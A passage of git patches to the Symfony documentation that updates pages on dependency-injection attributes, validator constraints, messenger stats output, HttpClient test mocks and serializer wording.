+++ b/service_container/autowiring.rst
@@ -553,16 +553,16 @@ If the argument is named ``$shoutyTransformer``,
 But, you can also manually wire any *other* service by specifying the argument
 under the arguments key.
 
-Another possibility is to use the ``#[Target]`` attribute. By using this attribute
-on the argument you want to autowire, you can define exactly which service to inject
-by passing the name of the argument used in the named alias. Thanks to this, you're able
-to have multiple services implementing the same interface and keep the argument name
-decorrelated of any implementation name (like shown in the example above).
+Another option is to use the ``#[Target]`` attribute. By adding this attribute
+to the argument you want to autowire, you can specify which service to inject by
+passing the name of the argument used in the named alias. This way, you can have
+multiple services implementing the same interface and keep the argument name
+separate from any implementation name (like shown in the example above).
 
 .. warning::
 
-    The ``#[Target]`` attribute only accepts the name of the argument used in the named
-    alias, it **does not** accept service ids or service aliases.
+    The ``#[Target]`` attribute only accepts the name of the argument used in the
+    named alias; it **does not** accept service ids or service aliases.
 
 Suppose you want to inject the ``App\Util\UppercaseTransformer`` service. You would use
 the ``#[Target]`` attribute by passing the name of the ``$shoutyTransformer`` argument::
@@ -584,8 +584,10 @@ the ``#[Target]`` attribute by passing the name of the ``$shoutyTransformer`` ar
         }
     }
 
-Since the ``#[Target]`` attribute normalizes the string passed to it to its camelCased form,
-name variations such as ``shouty.transformer`` also work.
+.. tip::
+
+    Since the ``#[Target]`` attribute normalizes the string passed to it to its
+    camelCased form, name variations (e.g. ``shouty.transformer``) also work.
 
 .. note::
 

From 81cc7f0e21f6306e5a94f1022a2a1620b9c61174 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sun, 14 Apr 2024 08:54:41 +0200
Subject: [PATCH 4816/5766] [DependencyInjection] Clarify the `#[Target]`
 attribute 2

---
 service_container/autowiring.rst | 24 +++++++++++++++++++++++-
 1 file changed, 23 insertions(+), 1 deletion(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index a15fb0fb0ac..c711f86ecf1 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -549,13 +549,35 @@ Another option is to use the ``#[Target]`` attribute. By adding this attribute
 to the argument you want to autowire, you can specify which service to inject by
 passing the name of the argument used in the named alias. This way, you can have
 multiple services implementing the same interface and keep the argument name
-separate from any implementation name (like shown in the example above).
+separate from any implementation name (like shown in the example above). In addition,
+you'll get an exception in case you make any typo in the target name.
 
 .. warning::
 
     The ``#[Target]`` attribute only accepts the name of the argument used in the
     named alias; it **does not** accept service ids or service aliases.
 
+You can get a list of named autowiring aliases by running the ``debug:autowiring`` command::
+
+.. code-block:: terminal
+
+    $ php bin/console debug:autowiring LoggerInterface
+
+    Autowirable Types
+    =================
+
+     The following classes & interfaces can be used as type-hints when autowiring:
+     (only showing classes/interfaces matching LoggerInterface)
+
+     Describes a logger instance.
+     Psr\Log\LoggerInterface - alias:monolog.logger
+     Psr\Log\LoggerInterface $assetMapperLogger - target:asset_mapperLogger - alias:monolog.logger.asset_mapper
+     Psr\Log\LoggerInterface $cacheLogger - alias:monolog.logger.cache
+     Psr\Log\LoggerInterface $httpClientLogger - target:http_clientLogger - alias:monolog.logger.http_client
+     Psr\Log\LoggerInterface $mailerLogger - alias:monolog.logger.mailer
+
+     [...]
+
 Suppose you want to inject the ``App\Util\UppercaseTransformer`` service. You would use
 the ``#[Target]`` attribute by passing the name of the ``$shoutyTransformer`` argument::
 

From d68d6abc1120c766b42498468a6667695ee16805 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 25 Jun 2024 09:43:08 +0200
Subject: [PATCH 4817/5766] [Validator] Add the format option to the Ulid
 constraint to allow accepting different ULID formats

---
 reference/constraints/Ulid.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst
index ed7dfe7ed96..4ba5ec3a3f5 100644
--- a/reference/constraints/Ulid.rst
+++ b/reference/constraints/Ulid.rst
@@ -73,6 +73,20 @@ Basic Usage
 Options
 -------
 
+``format``
+~~~~~~~~~~
+
+**type**: ``string`` **default**: ``Ulid::FORMAT_BASE_32``
+
+The format of the ULID to validate. The following formats are available:
+
+* ``Ulid::FORMAT_BASE_32``: The ULID is encoded in base32 (default)
+* ``Ulid::FORMAT_BASE_58``: The ULID is encoded in base58
+
+.. versionadded:: 7.2
+
+    The ``format`` option was introduced in Symfony 7.2.
+
 .. include:: /reference/constraints/_groups-option.rst.inc
 
 ``message``

From ea63cd7d932c1b77ee589938dda2d3e03c0a9aca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 Jun 2024 10:49:40 +0200
Subject: [PATCH 4818/5766] [Messenger] Document the --format option of
 messenger:stats command

---
 messenger.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 3dab2caac52..785cc022136 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -688,6 +688,14 @@ of some or all transports:
     # shows stats only for some transports
     $ php bin/console messenger:stats my_transport_name other_transport_name
 
+    # you can also output the stats in JSON format
+    $ php bin/console messenger:stats --format=json
+    $ php bin/console messenger:stats my_transport_name other_transport_name --format=json
+
+.. versionadded:: 7.2
+
+    The ``format`` option was introduced in Symfony 7.2.
+
 .. note::
 
     In order for this command to work, the configured transport's receiver must implement

From 688db2816b0892982b0e2b2ab02fa9cf6a7f0573 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 14 Jun 2024 16:56:00 +0200
Subject: [PATCH 4819/5766] [Validator] Add the Yaml constraint

---
 components/yaml.rst            |   2 +
 reference/constraints/Yaml.rst | 152 +++++++++++++++++++++++++++++++++
 2 files changed, 154 insertions(+)
 create mode 100644 reference/constraints/Yaml.rst

diff --git a/components/yaml.rst b/components/yaml.rst
index 5f724e0572c..2698aae8233 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -214,6 +214,8 @@ During the parsing of the YAML contents, all the ``_`` characters are removed
 from the numeric literal contents, so there is not a limit in the number of
 underscores you can include or the way you group contents.
 
+.. _yaml-flags:
+
 Advanced Usage: Flags
 ---------------------
 
diff --git a/reference/constraints/Yaml.rst b/reference/constraints/Yaml.rst
new file mode 100644
index 00000000000..49b65f251e8
--- /dev/null
+++ b/reference/constraints/Yaml.rst
@@ -0,0 +1,152 @@
+Yaml
+====
+
+Validates that a value has valid `YAML`_ syntax.
+
+.. versionadded:: 7.2
+
+    The ``Yaml`` constraint was introduced in Symfony 7.2.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Yaml`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\YamlValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+The ``Yaml`` constraint can be applied to a property or a "getter" method:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Report.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Report
+        {
+            #[Assert\Yaml(
+                message: "Your configuration doesn't have valid YAML syntax."
+            )]
+            private string $customConfiguration;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Report:
+            properties:
+                customConfiguration:
+                    - Yaml:
+                        message: Your configuration doesn't have valid YAML syntax.
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Report">
+                <property name="customConfiguration">
+                    <constraint name="Yaml">
+                        <option name="message">Your configuration doesn't have valid YAML syntax.</option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Report.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Report
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('customConfiguration', new Assert\Yaml([
+                    'message' => 'Your configuration doesn\'t have valid YAML syntax.',
+                ]));
+            }
+        }
+
+Options
+-------
+
+``flags``
+~~~~~~~~~
+
+**type**: ``integer`` **default**: ``0``
+
+This option enables optional features of the YAML parser when validating contents.
+Its value is a combination of one or more of the :ref:`flags defined by the Yaml component <yaml-flags>`:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Report.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Yaml\Yaml;
+
+        class Report
+        {
+            #[Assert\Yaml(
+                message: "Your configuration doesn't have valid YAML syntax.",
+                flags: Yaml::PARSE_CONSTANT | Yaml::PARSE_CUSTOM_TAGS | Yaml::PARSE_DATETIME,
+            )]
+            private string $customConfiguration;
+        }
+
+    .. code-block:: php
+
+        // src/Entity/Report.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+        use Symfony\Component\Yaml\Yaml;
+
+        class Report
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('customConfiguration', new Assert\Yaml([
+                    'message' => 'Your configuration doesn\'t have valid YAML syntax.',
+                    'flags' => Yaml::PARSE_CONSTANT | Yaml::PARSE_CUSTOM_TAGS | Yaml::PARSE_DATETIME,
+                ]));
+            }
+        }
+
+``message``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This value is not valid YAML.``
+
+This message shown if the underlying data is not a valid YAML value.
+
+You can use the following parameters in this message:
+
+===============  ==============================================================
+Parameter        Description
+===============  ==============================================================
+``{{ error }}``  The full error message from the YAML parser
+``{{ line }}``   The line where the YAML syntax error happened
+===============  ==============================================================
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+.. _`YAML`: https://en.wikipedia.org/wiki/YAML

From feabd16bf91dbafe52d1379b2d61a45bcfffdba0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 Jun 2024 17:26:55 +0200
Subject: [PATCH 4820/5766] [DoctrineBridge] Allow EntityValueResolver to
 return a list of entities

---
 doctrine.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/doctrine.rst b/doctrine.rst
index 00418319105..770a7b32a0a 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -741,6 +741,20 @@ In the expression, the ``repository`` variable will be your entity's
 Repository class and any route wildcards - like ``{product_id}`` are
 available as variables.
 
+The repository method called in the expression can also return a list of entities.
+In that case, update the type of your controller argument::
+
+    #[Route('/posts_by/{author_id}')]
+    public function authorPosts(
+        #[MapEntity(class: Post::class, expr: 'repository.findBy({"author": author_id}, {}, 10)')]
+        iterable $posts
+    ): Response {
+    }
+
+.. versionadded:: 7.1
+
+    The mapping of the lists of entities was introduced in Symfony 7.1.
+
 This can also be used to help resolve multiple arguments::
 
     #[Route('/product/{id}/comments/{comment_id}')]

From 3a5f7795fc8c180dec84dc2de6b4a80e5c9d1163 Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Mon, 24 Jun 2024 14:23:22 -0600
Subject: [PATCH 4821/5766] Update best_practices.rst, add /routes

---
 best_practices.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/best_practices.rst b/best_practices.rst
index 02315856d00..247d52fa15d 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -51,6 +51,7 @@ self-explanatory and not coupled to Symfony:
     │  └─ console
     ├─ config/
     │  ├─ packages/
+    │  ├─ routes/
     │  └─ services.yaml
     ├─ migrations/
     ├─ public/

From c3fdc75c27551e2a09bb5298b1d47e7e759ac60c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Jun 2024 09:01:07 +0200
Subject: [PATCH 4822/5766] [ExpressionLanguage] Add support for comments

---
 reference/formats/expression_language.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 818870452a5..e88ac7f6c24 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -20,6 +20,11 @@ The component supports:
 * **booleans** - ``true`` and ``false``
 * **null** - ``null``
 * **exponential** - also known as scientific (e.g. ``1.99E+3`` or ``1e-2``)
+* **comments** - using ``/*`` and ``*/`` (e.g. ``/* this is a comment */``)
+
+.. versionadded:: 7.2
+
+    The support for comments inside expressions was introduced in Symfony 7.2.
 
 .. caution::
 

From af46f196c5ba0e156478b2cfeb4b832247e73eb6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Jun 2024 09:26:18 +0200
Subject: [PATCH 4823/5766] [Yaml] Minor fix when using the format option in
 the lint command

---
 components/yaml.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/yaml.rst b/components/yaml.rst
index e9e16073282..5d007738d09 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -436,7 +436,7 @@ Add the ``--format`` option to get the output in JSON format:
 
 .. code-block:: terminal
 
-    $ php lint.php path/to/file.yaml --format json
+    $ php lint.php path/to/file.yaml --format=json
 
 .. tip::
 

From e9d242d90156f8b77bd302eaa53fbdab31cf845e Mon Sep 17 00:00:00 2001
From: valepu <valepu@libero.it>
Date: Thu, 13 Jun 2024 17:32:09 +0200
Subject: [PATCH 4824/5766] Remove misleading warning

Fixes https://github.com/symfony/symfony-docs/issues/17978

The warning I am removing was created after https://github.com/symfony/symfony-docs/issues/8259 but the issue used an incorrect regex to show a potential problem which doesn't exist.

In my issue I show that it's not actually possible to inject control characters. I would still suggest for someone more involved in symfony development to investigate further, if the expression language is used in the security component this would need more than just a warning
---
 components/expression_language.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index e90c580fe98..1ddd0fddb30 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -112,13 +112,6 @@ expressions (e.g. the request, the current user, etc.):
 * :doc:`Variables available in service container expressions </service_container/expression_language>`;
 * :ref:`Variables available in routing expressions <routing-matching-expressions>`.
 
-.. caution::
-
-    When using variables in expressions, avoid passing untrusted data into the
-    array of variables. If you can't avoid that, sanitize non-alphanumeric
-    characters in untrusted data to prevent malicious users from injecting
-    control characters and altering the expression.
-
 .. _expression-language-caching:
 
 Caching

From 39be3e699885a57f91a2b30a4f34855465f1ec03 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 26 Jun 2024 09:55:47 +0200
Subject: [PATCH 4825/5766] [DependencyInjection] Add `#[WhenNot]` attribute

---
 reference/attributes.rst |  1 +
 service_container.rst    | 26 ++++++++++++++++++++++++++
 2 files changed, 27 insertions(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 4428dc4c587..d744cb9a9b4 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -43,6 +43,7 @@ Dependency Injection
 * :ref:`TaggedLocator <service-subscribers-locators_defining-service-locator>`
 * :ref:`Target <autowiring-multiple-implementations-same-type>`
 * :ref:`When <service-container_limiting-to-env>`
+* :ref:`WhenNot <service-container_limiting-to-env>`
 
 EventDispatcher
 ~~~~~~~~~~~~~~~
diff --git a/service_container.rst b/service_container.rst
index ebc01b1fc8a..bc8e5f123b1 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -260,6 +260,32 @@ as a service in some environments::
         // ...
     }
 
+If you want to exclude a service from being registered in a specific
+environment, you can use the ``#[WhenNot]`` attribute::
+
+    use Symfony\Component\DependencyInjection\Attribute\WhenNot;
+
+    // SomeClass is registered in all environments except "dev"
+
+    #[WhenNot(env: 'dev')]
+    class SomeClass
+    {
+        // ...
+    }
+
+    // you can apply more than one WhenNot attribute to the same class
+
+    #[WhenNot(env: 'dev')]
+    #[WhenNot(env: 'test')]
+    class AnotherClass
+    {
+        // ...
+    }
+
+.. versionadded:: 7.2
+
+    The ``#[WhenNot]`` attribute was introduced in Symfony 7.2.
+
 .. _services-constructor-injection:
 
 Injecting Services/Config into a Service

From dcb42cb0840170a41a563a217f3eab85271e1cd7 Mon Sep 17 00:00:00 2001
From: Jacob Dreesen <j.dreesen@neusta.de>
Date: Wed, 26 Jun 2024 10:55:49 +0200
Subject: [PATCH 4826/5766] Fix the version in which AsDoctrineListener was
 added

---
 doctrine/events.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 4046191998a..dcc5d8bb6ef 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -391,9 +391,9 @@ listener in the Symfony application by creating a new service for it and
             ;
         };
 
-.. versionadded:: 2.7.2
+.. versionadded:: 2.8.0
 
-    The `AsDoctrineListener`_ attribute was introduced in DoctrineBundle 2.7.2.
+    The `AsDoctrineListener`_ attribute was introduced in DoctrineBundle 2.8.0.
 
 .. tip::
 
@@ -421,4 +421,4 @@ Instead, use any of the other alternatives shown above.
 .. _`lifecycle events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html#lifecycle-events
 .. _`official docs about Doctrine events`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/events.html
 .. _`DoctrineMongoDBBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineMongoDBBundle/index.html
-.. _`AsDoctrineListener`: https://github.com/doctrine/DoctrineBundle/blob/2.10.x/Attribute/AsDoctrineListener.php
+.. _`AsDoctrineListener`: https://github.com/doctrine/DoctrineBundle/blob/2.12.x/src/Attribute/AsDoctrineListener.php

From 9256f1262a9f76d673c82cc30945c40e475202bd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 27 Jun 2024 10:10:01 +0200
Subject: [PATCH 4827/5766] Update DOCtor-RST config

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index faba4a136b4..9c5a0a552cf 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -99,6 +99,7 @@ whitelist:
         - 'The bin/console Command'
         - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection'
         - '.. versionadded:: 2.7.2' # Doctrine
+        - '.. versionadded:: 2.8.0' # Doctrine
         - '.. versionadded:: 1.9.0' # Encore
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore

From 6fde4e0209aff65a7f1b0ba14e048af1eedc9921 Mon Sep 17 00:00:00 2001
From: Matthias Pigulla <mp@webfactory.de>
Date: Thu, 27 Jun 2024 10:15:27 +0200
Subject: [PATCH 4828/5766] [HttpClient] Explain how to mock
 `TransportExceptions` that occur before headers are received

---
 http_client.rst | 31 ++++++++++++++++++++++++++++---
 1 file changed, 28 insertions(+), 3 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 767b088effc..a0a3817ffb4 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -2282,7 +2282,26 @@ when making HTTP requests you might face errors at transport level.
 
 That's why it's useful to test how your application behaves in case of a transport
 error. :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` allows
-you to do so, by yielding the exception from its body::
+you to do so in multiple ways.
+
+In order to test errors that occur before headers have been received,
+set the ``error`` option value when creating the ``MockResponse``.
+Transport errors of this kind occur, for example, when a host name
+cannot be resolved or the host was unreachable. The
+``TransportException`` will be thrown as soon as a method like
+``getStatusCode()`` or ``getHeaders()`` is called.
+
+In order to test errors that occur while a response is being streamed
+(that is, after the headers have already been received), provide the
+exception to ``MockResponse`` as part of the ``body``
+parameter. You can either use an exception directly, or yield the
+exception from a callback. For exceptions of this kind,
+``getStatusCode()`` may indicate a success (200), but accessing
+``getContent()`` fails.
+
+The following example code illustrates all three options.
+
+body::
 
     // ExternalArticleServiceTest.php
     use PHPUnit\Framework\TestCase;
@@ -2297,10 +2316,16 @@ you to do so, by yielding the exception from its body::
         {
             $requestData = ['title' => 'Testing with Symfony HTTP Client'];
             $httpClient = new MockHttpClient([
-                // You can create the exception directly in the body...
+                // Mock a transport level error at a time before
+                // headers have been received (e. g. host unreachable)
+                new MockResponse(info: ['error' => 'host unreachable']),
+
+                // Mock a response with headers indicating
+                // success, but a failure while retrieving the body by
+                // creating the exception directly in the body...
                 new MockResponse([new \RuntimeException('Error at transport level')]),
 
-                // ... or you can yield the exception from a callback
+                // ... or by yielding it from a callback.
                 new MockResponse((static function (): \Generator {
                     yield new TransportException('Error at transport level');
                 })()),

From 429d7002fd39c65307df22adee144f4f33974cbe Mon Sep 17 00:00:00 2001
From: Jeremy Jumeau <jumeau.jeremy@gmail.com>
Date: Thu, 27 Jun 2024 16:42:07 +0200
Subject: [PATCH 4829/5766] fix: notifier code example for SentMessageEvent

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index d96c6f4349a..6372662234d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -892,7 +892,7 @@ is dispatched. Listeners receive a
 
     $dispatcher->addListener(SentMessageEvent::class, function (SentMessageEvent $event) {
         // gets the message instance
-        $message = $event->getOriginalMessage();
+        $message = $event->getMessage();
 
         // log something
         $this->logger(sprintf('The message has been successfully sent and has id: %s', $message->getMessageId()));

From 714a0512e5af5cb5f59ed826f6f438ae6522b977 Mon Sep 17 00:00:00 2001
From: lkolndeep <lkolndeep@protonmail.com>
Date: Thu, 27 Jun 2024 23:09:07 +0200
Subject: [PATCH 4830/5766] Improve the documentation with a link for the
 profile service declaration

---
 profiler.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/profiler.rst b/profiler.rst
index 133296e9203..eb4ee5d8a0e 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -49,6 +49,10 @@ method to access to its associated profile::
     // ... $profiler is the 'profiler' service
     $profile = $profiler->loadProfileFromResponse($response);
 
+.. note::
+
+    To declare the profiler service you can refer to :ref:`Enabling the Profiler Conditionally <enabling_the_profiler_conditionally_tag>`.
+
 When the profiler stores data about a request, it also associates a token with it;
 this token is available in the ``X-Debug-Token`` HTTP header of the response.
 Using this token, you can access the profile of any past response thanks to the
@@ -110,6 +114,8 @@ need to create a custom data collector. Instead, use the built-in utilities to
     Consider using a professional profiler such as `Blackfire`_ to measure and
     analyze the execution of your application in detail.
 
+.. _enabling_the_profiler_conditionally_tag:
+
 Enabling the Profiler Conditionally
 -----------------------------------
 

From a84f46600d45ed7deeca2c72ac76003a1f83c5c4 Mon Sep 17 00:00:00 2001
From: novah77 <novah.dev.symfony@gmail.com>
Date: Thu, 20 Jun 2024 04:59:40 +0300
Subject: [PATCH 4831/5766] Update serializer.rst

In the sub title Attributes Groups, the text using annotations should be using attributes.
---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 0e891cc961c..ae0442a3e5c 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -264,7 +264,7 @@ Assume you have the following plain-old-PHP object::
         }
     }
 
-The definition of serialization can be specified using annotations, XML
+The definition of serialization can be specified using attributes, XML
 or YAML. The :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`
 that will be used by the normalizer must be aware of the format to use.
 

From 230dc2c79300766ae743f5ce9c2d82101a10d6c5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 28 Jun 2024 16:43:53 +0200
Subject: [PATCH 4832/5766] -

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index ae0442a3e5c..2fa544860c3 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -264,7 +264,7 @@ Assume you have the following plain-old-PHP object::
         }
     }
 
-The definition of serialization can be specified using attributes, XML
+The definition of serialization can be specified using annotations, attributes, XML
 or YAML. The :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`
 that will be used by the normalizer must be aware of the format to use.
 

From 28070e85a3ea9ff4357150604d03c1582811b26c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 28 Jun 2024 16:44:59 +0200
Subject: [PATCH 4833/5766] [Serializer] Remove any mention to annotations

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index c23e6300a4d..40a114b543e 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -264,8 +264,8 @@ Assume you have the following plain-old-PHP object::
         }
     }
 
-The definition of serialization can be specified using annotations, attributes, XML
-or YAML. The :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`
+The definition of serialization can be specified using attributes, XML or YAML.
+The :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`
 that will be used by the normalizer must be aware of the format to use.
 
 The following code shows how to initialize the :class:`Symfony\\Component\\Serializer\\Mapping\\Factory\\ClassMetadataFactory`

From d669eb32e6af05f5f34ce3953abf385336eeaed3 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Sun, 30 Jun 2024 16:16:58 +0200
Subject: [PATCH 4834/5766] deprecate TaggedIterator and TaggedLocator
 attributes

---
 reference/attributes.rst                      |  8 +++++++
 .../service_subscribers_locators.rst          | 24 ++++++++++++++-----
 service_container/tags.rst                    | 24 +++++++++----------
 3 files changed, 38 insertions(+), 18 deletions(-)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 4428dc4c587..ba34afd524d 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -44,6 +44,14 @@ Dependency Injection
 * :ref:`Target <autowiring-multiple-implementations-same-type>`
 * :ref:`When <service-container_limiting-to-env>`
 
+.. deprecated:: 7.1
+
+    The
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
+    and
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
+    were deprecated in Symfony 7.1.
+
 EventDispatcher
 ~~~~~~~~~~~~~~~
 
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 25ebe97e7e7..9c36f8c82cd 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -307,6 +307,18 @@ This is done by having ``getSubscribedServices()`` return an array of
         ];
     }
 
+.. deprecated:: 7.1
+
+    The
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedIterator`
+    and
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\TaggedLocator`
+    were deprecated in Symfony 7.1.
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireIterator`
+    and
+    :class:`Symfony\\Component\\DependencyInjection\\Attribute\\AutowireLocator`
+    should be used instead.
+
 .. note::
 
     The above example requires using ``3.2`` version or newer of ``symfony/service-contracts``.
@@ -432,13 +444,13 @@ or directly via PHP attributes:
         namespace App;
 
         use Psr\Container\ContainerInterface;
-        use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireLocator;
 
         class CommandBus
         {
             public function __construct(
                 // creates a service locator with all the services tagged with 'app.handler'
-                #[TaggedLocator('app.handler')]
+                #[AutowireLocator('app.handler')]
                 private ContainerInterface $locator,
             ) {
             }
@@ -674,12 +686,12 @@ to index the services:
         namespace App;
 
         use Psr\Container\ContainerInterface;
-        use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireLocator;
 
         class CommandBus
         {
             public function __construct(
-                #[TaggedLocator('app.handler', indexAttribute: 'key')]
+                #[AutowireLocator('app.handler', indexAttribute: 'key')]
                 private ContainerInterface $locator,
             ) {
             }
@@ -789,12 +801,12 @@ get the value used to index the services:
         namespace App;
 
         use Psr\Container\ContainerInterface;
-        use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireLocator;
 
         class CommandBus
         {
             public function __construct(
-                #[TaggedLocator('app.handler', 'defaultIndexMethod: 'getLocatorKey')]
+                #[AutowireLocator('app.handler', 'defaultIndexMethod: 'getLocatorKey')]
                 private ContainerInterface $locator,
             ) {
             }
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 1900ce28fb2..68509bc5620 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -674,13 +674,13 @@ directly via PHP attributes:
         // src/HandlerCollection.php
         namespace App;
 
-        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireIterator;
 
         class HandlerCollection
         {
             public function __construct(
                 // the attribute must be applied directly to the argument to autowire
-                #[TaggedIterator('app.handler')]
+                #[AutowireIterator('app.handler')]
                 iterable $handlers
             ) {
             }
@@ -766,12 +766,12 @@ iterator, add the ``exclude`` option:
         // src/HandlerCollection.php
         namespace App;
 
